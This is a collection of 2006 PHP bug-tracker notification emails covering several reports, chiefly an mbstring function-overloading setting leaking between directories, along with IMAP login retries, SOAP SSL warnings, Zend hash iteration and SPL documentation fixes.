Need Reproduce Script:http://bugs.php.net/fix.php?id=39361r=needscript
Try newer version:http://bugs.php.net/fix.php?id=39361r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=39361r=support
Expected behavior:http://bugs.php.net/fix.php?id=39361r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=39361r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=39361r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=39361r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39361r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=39361r=dst
IIS Stability:http://bugs.php.net/fix.php?id=39361r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=39361r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=39361r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=39361r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=39361r=mysqlcfg
#39361 [Opn]: mbstring function overloading - done although not activated
ID: 39361
User updated by: christoph at ziegenberg dot de
-Summary: mbstring function overloading - local value ignored
Reported By: christoph at ziegenberg dot de
Status: Open
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
wrong summary
Previous Comments:
[2006-11-03 14:54:41] christoph at ziegenberg dot de
Description:
I got a new error message in PHP 5.2 when using mb_strstr() with an
empty string as haystack. So I wrote a testfile to compare the
behaviour of strstr() with mb_strstr().
Although mbstring function overloading is not enabled and the phpinfo()
output (in the same file, so there are no more changes via .htaccess)
says that all mbstring settings are the default settings, strstr() is
overloaded with mb_strstr().
phpinfo output:
---
Multibyte Support enabled
Multibyte string engine libmbfl
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) version 4.4.4
Multibyte regex (oniguruma) backtrack check On
mbstring extension makes use of streamable kanji code filter and
converter, which is distributed under the GNU Lesser General Public
License version 2.1.
Directive Local Value Master Value
mbstring.detect_order no valueno value
mbstring.encoding_translation Off Off
mbstring.func_overload 0 0
mbstring.http_input passpass
mbstring.http_outputpasspass
mbstring.internal_encoding no valueno value
mbstring.language neutral neutral
mbstring.strict_detection Off Off
mbstring.substitute_character no valueno value
---
Reproduce code:
---
?php
//phpinfo();
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
Warning: strstr() [function.strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
--
Edit this bug report at http://bugs.php.net/?id=39361edit=1
#39110 [Com]: conflicting types for 'utf8_mime2text'
ID: 39110 Comment by: andy dot shellam at mailnetwork dot co dot uk Reported By: sihar at uninet dot net dot id Status: No Feedback Bug Type: Compile Failure Operating System: Slackware 11.0 PHP Version: 4.4.4 New Comment: This is also the same on FreeBSD 6.1 - PHP 5.2.0 with IMAP 2006c. Previous Comments: [2006-10-25 09:32:51] andy dot shellam at mailnetwork dot co dot uk php 5.1.6 compiles successfully with IMAP 2004g on FreeBSD 6.1 (with OpenSSL) using the following configure command: ./configure --prefix=/usr/local/php --with-pgsql=/usr/local/pgsql --with-apxs2=/usr/local/apache2/bin/apxs --with-imap=/usr/local/imap2004g --with-imap-ssl Looks like it is the 2006 version of the IMAP toolkit. [2006-10-25 09:25:11] andy dot shelllam at mailnetwork dot co dot uk I also have this problem with php 5.1.6 and UW IMAP c-client 2006c. I'm now going to re-try IMAP 2004 as I believe this is the problem. This is on a FreeBSD 6.1 system - have had PHP 5 compiled on another FBSD 6.1 system with IMAP 2004 a few weeks ago. [2006-10-20 18:54:35] junkmyself at hotmail dot com same problem with the stable version you provide. compile: ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache/bin/apxs --with-libxml-dir=/usr/local/lib --with-zlib --with-zlib-dir=/usr/local/lib/ --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --enable-soap --enable-sockets --with-png-dir=/usr/local/libpng --with-gd --enable-gd-native-ttf --with-freetype-dir=/usr/local/freetype --with-openssl --enable-ftp --enable-memory-limit --with-imap=/usr/local/imap make error report: -g -O2 -c /backup/mis/montreal.prospectornetwork.com/~mdrolet/blackbox/packages/php4-STABLE-200610201830/ext/imap/php_imap.c -o ext/imap/php_imap.lo /backup/mis/montreal.prospectornetwork.com/~mdrolet/blackbox/packages/php4-STABLE-200610201830/ext/imap/php_imap.c:74: error: conflicting types for 'utf8_mime2text' /usr/local/mis/imap/include/utf8.h:548: error: previous declaration of 'utf8_mime2text' was here /backup/mis/montreal.prospectornetwork.com/~mdrolet/blackbox/packages/php4-STABLE-200610201830/ext/imap/php_imap.c:74: error: conflicting types for 'utf8_mime2text' /usr/local/mis/imap/include/utf8.h:548: error: previous declaration of 'utf8_mime2text' was here make: *** [ext/imap/php_imap.lo] Error 1 [2006-10-18 01:00:00] php-bugs at lists dot php dot net No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. [2006-10-10 12:16:42] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/39110 -- Edit this bug report at http://bugs.php.net/?id=39110edit=1
#39362 [NEW]: imap_open retries 3 times on failed auth
From: askalski at gmail dot com
Operating system: Linux
PHP version: 5CVS-2006-11-03 (snap)
PHP Bug Type: IMAP related
Bug description: imap_open retries 3 times on failed auth
Description:
imap_open will retry 3 times on bad credentials. Some IMAP or POP servers
delay on successive bad logins, making a failed imap_open take very long.
Worse, some servers will lock the user out because of repeated failed
login attempts.
Somewhere during module initialization, this call needs to be made:
mail_parameters(NIL, SET_MAXLOGINTRIALS, (void *) 1);
Reproduce code:
---
imap_open({mailserver/pop}, user, badpass);
Expected result:
It should try logging in only once.
Actual result:
--
It tries logging in three times (watch with a packet sniffer or strace).
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, QUIT\r\n, 6) = 6
read(0, +OK Sayonara\r\n, 8192) = 14
write(1, \nWarning: imap_open(): Couldn\'t ..., 104) = 104
--
Edit bug report at http://bugs.php.net/?id=39362edit=1
--
Try a CVS snapshot (PHP 4.4):
http://bugs.php.net/fix.php?id=39362r=trysnapshot44
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=39362r=trysnapshot52
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=39362r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=39362r=fixedcvs
Fixed in release:
http://bugs.php.net/fix.php?id=39362r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=39362r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=39362r=needscript
Try newer version:http://bugs.php.net/fix.php?id=39362r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=39362r=support
Expected behavior:http://bugs.php.net/fix.php?id=39362r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=39362r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=39362r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=39362r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39362r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=39362r=dst
IIS Stability:http://bugs.php.net/fix.php?id=39362r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=39362r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=39362r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=39362r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=39362r=mysqlcfg
#39363 [NEW]: Suggest different value for E_ALL
From: dsg at gleim dot com Operating system: Linux PHP version: 5.2.0 PHP Bug Type: Feature/Change Request Bug description: Suggest different value for E_ALL Description: Please change the value for E_ALL. It is currently 2047 which only encompasses old errors, not new ones. It occurs to me that you could change the value to the maximum integer value and it would truly represent all codes and leave room for expansion. This shouldn't break existing code since E_ALL is just used for comparison with flags. See http://www.php.net/manual/en/function.error-reporting.php. E_ALL should mean all errors, but it doesn't. This can be fixed. Reproduce code: --- // Suggestion item, not defect. error_reporting(E_ALL | E_STRICT | E_RECOVERABLE_ERROR) // This doesn't make sense. // All errors + strict errors + ??? + any new errors? Expected result: Suggestion item, not bug. Actual result: -- Suggestion item, not bug. -- Edit bug report at http://bugs.php.net/?id=39363edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39363r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39363r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39363r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39363r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39363r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39363r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39363r=needscript Try newer version:http://bugs.php.net/fix.php?id=39363r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39363r=support Expected behavior:http://bugs.php.net/fix.php?id=39363r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39363r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39363r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39363r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39363r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39363r=dst IIS Stability:http://bugs.php.net/fix.php?id=39363r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39363r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39363r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39363r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39363r=mysqlcfg
#39361 [Opn]: mbstring function overloading - done although not activated
ID: 39361
User updated by: christoph at ziegenberg dot de
Reported By: christoph at ziegenberg dot de
Status: Open
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
Oh... I got the reason for it... really bad bug, might be critical and
influence other ini setting to:
1) run the script - it works. you get the error message for mb_strstr()
only:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
2) run a script in another directory with mbstring function overloading
activate* - the result is as expected:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
3) now run the first script (NOT in the created directory!) and you get
the same error messages!
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
So the overloading setting is activated for the wrong directory!
* via .htaccess:
php_value mbstring.func_overload 6
Previous Comments:
[2006-11-03 14:55:55] christoph at ziegenberg dot de
wrong summary
[2006-11-03 14:54:41] christoph at ziegenberg dot de
Description:
I got a new error message in PHP 5.2 when using mb_strstr() with an
empty string as haystack. So I wrote a testfile to compare the
behaviour of strstr() with mb_strstr().
Although mbstring function overloading is not enabled and the phpinfo()
output (in the same file, so there are no more changes via .htaccess)
says that all mbstring settings are the default settings, strstr() is
overloaded with mb_strstr().
phpinfo output:
---
Multibyte Support enabled
Multibyte string engine libmbfl
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) version 4.4.4
Multibyte regex (oniguruma) backtrack check On
mbstring extension makes use of streamable kanji code filter and
converter, which is distributed under the GNU Lesser General Public
License version 2.1.
Directive Local Value Master Value
mbstring.detect_order no valueno value
mbstring.encoding_translation Off Off
mbstring.func_overload 0 0
mbstring.http_input passpass
mbstring.http_outputpasspass
mbstring.internal_encoding no valueno value
mbstring.language neutral neutral
mbstring.strict_detection Off Off
mbstring.substitute_character no valueno value
---
Reproduce code:
---
?php
//phpinfo();
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
Warning: strstr() [function.strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
--
Edit this bug report at http://bugs.php.net/?id=39361edit=1
#39364 [NEW]: mb_strstr() behaviour differs from strstr()
From: christoph at ziegenberg dot de
Operating system: Win XP SP 2
PHP version: 5.2.0
PHP Bug Type: mbstring related
Bug description: mb_strstr() behaviour differs from strstr()
Description:
as described in the more important bug #39361 i compared strstr() and
mb_strstr().
mb_strstr() produces the following error when using an empty haystack:
Warning: mb_strstr() [function.mb-strstr]:
Empty haystack in X on line Y
but strstr() doesn't.
Reproduce code:
---
?php
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
no error message - because haystack does not contain needle, so the
function should return false, as described in the documentation. the
different behavior produces a lot of errors when using function
overloading (although i know using it is not a good idea... ;).
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in X on line Y
--
Edit bug report at http://bugs.php.net/?id=39364edit=1
--
Try a CVS snapshot (PHP 4.4):
http://bugs.php.net/fix.php?id=39364r=trysnapshot44
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=39364r=trysnapshot52
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=39364r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=39364r=fixedcvs
Fixed in release:
http://bugs.php.net/fix.php?id=39364r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=39364r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=39364r=needscript
Try newer version:http://bugs.php.net/fix.php?id=39364r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=39364r=support
Expected behavior:http://bugs.php.net/fix.php?id=39364r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=39364r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=39364r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=39364r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39364r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=39364r=dst
IIS Stability:http://bugs.php.net/fix.php?id=39364r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=39364r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=39364r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=39364r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=39364r=mysqlcfg
#39283 [Asn]: SSL: fatal protocol error
ID: 39283
User updated by: cboden at gmail dot com
Reported By: cboden at gmail dot com
Status: Assigned
Bug Type: SOAP related
Operating System: Linux
PHP Version: 5.2.0RC5
Assigned To: dmitry
New Comment:
Now installed PHP-5.2.0
- No longer receive SoapFault (although, may have been an error in my
WSDL file originally)
- Sill receive SSL: fatal protocol error warning
- Able to suppress SoapClient::__construct to ignore (@)
- Besides the warning, working as expected, __getLast functions
generate expected results
Previous Comments:
[2006-10-27 16:50:10] cboden at gmail dot com
Description:
Soap fails to connect to the WSDL.
The server is an Apache-SSL server running on Linux (Note: Not Apache
using mod_ssl). I am using PHP (5.2.0RC7).
php5.2-200610260230.tar.bz2 is the build file.
Reproduce code:
---
pre
?php
try {
$client = new SoapClient('https://localhost:443/wsdl.php',
Array(
'allow_self_signed' = 1,
'verify_peer' = 0,
'trace' = 1,
'exceptions'= 1,
));
} catch (Exception $e) {
die(print_r($e));
}
?
Actual result:
--
Warning: SoapClient::SoapClient() [function.SoapClient-SoapClient]:
SSL: fatal protocol error in /client.php on line 9
SoapFault Object
(
[message:protected] = SOAP-ERROR: Parsing WSDL: Couldn't load from
'https://localhost:443/wsdl.php'
[string:private] =
[code:protected] = 0
[file:protected] = /client.php
[line:protected] = 9
[trace:private] = Array
(
[0] = Array
(
[file] = /client.php
[line] = 9
[function] = SoapClient
[class] = SoapClient
[type] = -
[args] = Array
(
[0] = https://localhost:443/wsdl.php
[1] = Array
(
[allow_self_signed] = 1
[verify_peer] = 0
[trace] = 1
[exceptions] = 1
)
)
)
)
[faultstring] = SOAP-ERROR: Parsing WSDL: Couldn't load from
'https://localhost:443/wsdl.php'
[faultcode] = WSDL
)
--
Edit this bug report at http://bugs.php.net/?id=39283edit=1
#39361 [Opn]: more info...
ID: 39361
User updated by: christoph at ziegenberg dot de
-Summary: mbstring function overloading - done although not
activated
Reported By: christoph at ziegenberg dot de
Status: Open
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
The value returned by ini_get() is correct (also the phpinfo() output),
but the behavior is wrong... I tested several other ini settings, but
the error seems to occur only with the mbstring function overloading.
Previous Comments:
[2006-11-03 17:28:47] christoph at ziegenberg dot de
Oh... I got the reason for it... really bad bug, might be critical and
influence other ini setting to:
1) run the script - it works. you get the error message for mb_strstr()
only:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
2) run a script in another directory with mbstring function overloading
activate* - the result is as expected:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
3) now run the first script (NOT in the created directory!) and you get
the same error messages!
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
So the overloading setting is activated for the wrong directory!
* via .htaccess:
php_value mbstring.func_overload 6
[2006-11-03 14:55:55] christoph at ziegenberg dot de
wrong summary
[2006-11-03 14:54:41] christoph at ziegenberg dot de
Description:
I got a new error message in PHP 5.2 when using mb_strstr() with an
empty string as haystack. So I wrote a testfile to compare the
behaviour of strstr() with mb_strstr().
Although mbstring function overloading is not enabled and the phpinfo()
output (in the same file, so there are no more changes via .htaccess)
says that all mbstring settings are the default settings, strstr() is
overloaded with mb_strstr().
phpinfo output:
---
Multibyte Support enabled
Multibyte string engine libmbfl
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) version 4.4.4
Multibyte regex (oniguruma) backtrack check On
mbstring extension makes use of streamable kanji code filter and
converter, which is distributed under the GNU Lesser General Public
License version 2.1.
Directive Local Value Master Value
mbstring.detect_order no valueno value
mbstring.encoding_translation Off Off
mbstring.func_overload 0 0
mbstring.http_input passpass
mbstring.http_outputpasspass
mbstring.internal_encoding no valueno value
mbstring.language neutral neutral
mbstring.strict_detection Off Off
mbstring.substitute_character no valueno value
---
Reproduce code:
---
?php
//phpinfo();
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
Warning: strstr() [function.strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
--
Edit this bug report at http://bugs.php.net/?id=39361edit=1
#39361 [Opn]: mbstring function overloading - done although not activated
ID: 39361
User updated by: christoph at ziegenberg dot de
-Summary: more info...
Reported By: christoph at ziegenberg dot de
Status: Open
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
again the summary problem...
Previous Comments:
[2006-11-03 18:06:06] christoph at ziegenberg dot de
The value returned by ini_get() is correct (also the phpinfo() output),
but the behavior is wrong... I tested several other ini settings, but
the error seems to occur only with the mbstring function overloading.
[2006-11-03 17:28:47] christoph at ziegenberg dot de
Oh... I got the reason for it... really bad bug, might be critical and
influence other ini setting to:
1) run the script - it works. you get the error message for mb_strstr()
only:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
2) run a script in another directory with mbstring function overloading
activate* - the result is as expected:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
3) now run the first script (NOT in the created directory!) and you get
the same error messages!
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
So the overloading setting is activated for the wrong directory!
* via .htaccess:
php_value mbstring.func_overload 6
[2006-11-03 14:55:55] christoph at ziegenberg dot de
wrong summary
[2006-11-03 14:54:41] christoph at ziegenberg dot de
Description:
I got a new error message in PHP 5.2 when using mb_strstr() with an
empty string as haystack. So I wrote a testfile to compare the
behaviour of strstr() with mb_strstr().
Although mbstring function overloading is not enabled and the phpinfo()
output (in the same file, so there are no more changes via .htaccess)
says that all mbstring settings are the default settings, strstr() is
overloaded with mb_strstr().
phpinfo output:
---
Multibyte Support enabled
Multibyte string engine libmbfl
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) version 4.4.4
Multibyte regex (oniguruma) backtrack check On
mbstring extension makes use of streamable kanji code filter and
converter, which is distributed under the GNU Lesser General Public
License version 2.1.
Directive Local Value Master Value
mbstring.detect_order no valueno value
mbstring.encoding_translation Off Off
mbstring.func_overload 0 0
mbstring.http_input passpass
mbstring.http_outputpasspass
mbstring.internal_encoding no valueno value
mbstring.language neutral neutral
mbstring.strict_detection Off Off
mbstring.substitute_character no valueno value
---
Reproduce code:
---
?php
//phpinfo();
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
Warning: strstr() [function.strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
--
Edit this bug report at http://bugs.php.net/?id=39361edit=1
#39320 [Csd]: ZEND_HASH_APPLY_STOP causes deletion
ID: 39320 Updated by: [EMAIL PROTECTED] Reported By: wharmby at uk dot ibm dot com Status: Closed Bug Type: Scripting Engine problem Operating System: * -PHP Version: 5.2.* +PHP Version: 5.2.0 Assigned To: helly New Comment: Fixed in 5.2.1 Previous Comments: [2006-10-31 22:06:11] [EMAIL PROTECTED] This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Might get fixed later in 5.2 [2006-10-31 11:39:40] wharmby at uk dot ibm dot com Description: Specifying hash apply call-back function return code of ZEND_HASH_APPLY_STOP results in deletion of current element from subject hash table rather than halting of iteration as expected, i.e ZEND_HASH_APPLY_STOP treated same as ZEND_HASH_APPLY_REMOVE. I spotted this bug reviewing code the engine code whilst reading Sara Golemon's book Extending and Embedding PHP. The meanings of the various callback return codes are listed on page 99 and the text suggests they can all be used by all the hash_apply_* functions. No comments in code or online documentation on php.net suggest otherwise. The test case below uses zend_hash_apply() but the defect, if indeed it is a defect, exists in all 3 zend_hash_apply functions; namely: ZEND_API void zend_hash_apply(HashTable *ht, apply_func_t apply_func TSRMLS_DC); ZEND_API void zend_hash_apply_with_argument( HashTable *ht, apply_func_arg_t apply_func, void * TSRMLS_DC); ZEND_API void zend_hash_apply_with_arguments( HashTable *ht, apply_func_args_t apply_func, int numargs, ...); All 3 functions delete the current entry on a non-zero return from the apply_func. I have reviewed the open defects and can see no defect which covers the reported behaviour. I have tried the latest snap-shot build for Windows which at the time was Oct 31, 2006 09:30 GMT phpinfo() shows PHP version as Version = 5.2.1-dev. Problem also persists in latest checked in version of file in CVS. Andy Wharmby IBM United Kingdom Limited Reproduce code: --- Reproduce code is posted here: http://pastebin.ca/230657 Possible fix to zend_hash.c posted here: http://pastebin.ca/230668 Expected result: Test 1: zend_hash_apply with stop colour red Stop_on_red called for element: orange Stop_on_red called for element: green Stop_on_red called for element: blue Stop_on_red called for element: red Array contents after test: orange green blue red yellow purple indigo TEST 1 PASSED Test 2: zend_hash_apply_with_argument with stop colour prurple Stop_on_colour called for element:orange Stop_on_colour called for element:green Stop_on_colour called for element:blue Stop_on_colour called for element:red Stop_on_colour called for element:yellow Stop_on_colour called for element:purple Array contents after test: orange green blue red yellow purple indigo TEST 2 PASSED Test 3: zend_hash_apply_with_arguments with stop colours yellow and black Stop_on_either_colour called for element: orange Stop_on_either_colour called for element: green Stop_on_either_colour called for element: blue Stop_on_either_colour called for element: red Stop_on_either_colour called for element: yellow Array contents after test: orange green blue red yellow purple indigo TEST 3 PASSED Actual result: -- Test 1: zend_hash_apply with stop colour red Stop_on_red called for element: orange Stop_on_red called for element: green Stop_on_red called for element: blue Stop_on_red called for element: red Stop_on_red called for element: yellow Stop_on_red called for element: purple Stop_on_red called for element: indigo Array contents after test: orange green blue yellow purple indigo TEST 1 FAILED Test 2: zend_hash_apply_with_argument with stop colour prurple Stop_on_colour called for element:orange Stop_on_colour called for element:green Stop_on_colour called for element:blue Stop_on_colour called for element:red Stop_on_colour called for element:yellow Stop_on_colour called for element:purple Stop_on_colour called for element:indigo Array contents after test: orange green blue red yellow indigo TEST 2 FAILED Test 3: zend_hash_apply_with_arguments with stop colours yellow and black Stop_on_either_colour called for element: orange Stop_on_either_colour called for element: green Stop_on_either_colour called for element: blue Stop_on_either_colour called for element: red Stop_on_either_colour called for element: yellow
#39090 [Asn-Csd]: DirectoryFilterDots doxygen docs and example is wrong
ID: 39090 Updated by: [EMAIL PROTECTED] Reported By: judas dot iscariote at gmail dot com -Status: Assigned +Status: Closed Bug Type: SPL related Operating System: * PHP Version: 5.2.0 Assigned To: helly New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2006-10-31 23:29:33] [EMAIL PROTECTED] Fixed in 6, will get fixed in 5.2.1. [2006-10-09 09:51:55] judas dot iscariote at gmail dot com Description: DirectoryFilterDots example [1] ) and docs [2] are wrong. example [1] says : parent::__construct(new DirectoryIterator($path)); must say : parent::__construct(new RecursiveDirectoryIterator($path)); Documentation say: This Iteraotr takes a pathname from which it creates a DirectoryIterator... must say : This **Iterator** takes a pathname from which it creates a **RecursiveDirectoryIterator**... [1] ext/spl/examples/directoryfilterdots.inc [2] http://www.php.net/~helly/php/ext/spl/classDirectoryFilterDots.html Reproduce code: --- ?php require_once dirname(__FILE__) . '/directoryfilterdots.inc'; $foo = new DirectoryFilterDots(dirname(__FILE__)); ? Expected result: shiny new iterator containing the directory listing without dots. Actual result: -- Catchable fatal error: Argument 1 passed to RecursiveFilterIterator::__construct() must implement interface RecursiveIterator, instance of DirectoryIterator given -- Edit this bug report at http://bugs.php.net/?id=39090edit=1
#38698 [Asn-Csd]: for some keys cdbmake creates corrupted db and cdb can't read valid db.
ID: 38698 Updated by: [EMAIL PROTECTED] Reported By: oleg1917 at mail dot ru -Status: Assigned +Status: Closed Bug Type: DBM/DBA related Operating System: * PHP Version: 5.2.0 Assigned To: helly New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2006-11-01 00:13:12] [EMAIL PROTECTED] Fixed in head, will get fixed in 5.2.1 [2006-09-12 16:40:40] oleg1917 at mail dot ru this one http://kudiz.com/129test.cdb is created by Bernstein's cdbmake utility. [2006-09-12 15:25:31] [EMAIL PROTECTED] That's the PHP generated db, do you have the one made outside of PHP? [2006-09-05 15:07:04] oleg1917 at mail dot ru here is it http://kudiz.com/129php.cdb i've got the same result on several boxes with centos 4.x, trustix 2.x distros and php 5.1.x [2006-09-05 14:38:35] [EMAIL PROTECTED] Can you please provide a copy of the 129php.cdb file. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/38698 -- Edit this bug report at http://bugs.php.net/?id=38698edit=1
#39313 [Opn-Csd]: spl_autoload triggers Fatal error
ID: 39313
Updated by: [EMAIL PROTECTED]
Reported By: justin dot foell at sellingsource dot com
-Status: Open
+Status: Closed
Bug Type: SPL related
Operating System: *
PHP Version: 5.2.0
Assigned To: helly
New Comment:
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
Previous Comments:
[2006-10-31 23:16:38] [EMAIL PROTECTED]
I see your point, will get fixed in 6.0 and in 5.2.1 hopefully.
[2006-10-31 21:00:12] justin dot foell at sellingsource dot com
This may possibly be due to the fact that the Zend engine will turn any
thrown exceptions in the __autoload method into Fatal errors.
[2006-10-31 20:51:08] justin dot foell at sellingsource dot com
Maybe your explanation and/or the SPL autoload documentation is
unclear... but if I have two functions registered with the SPL
autoloader, the default 'spl_autoload' being the first and my own being
the second, the class will not be loaded even though the seconds
autoloader would normally find it (and will find it if it's first in
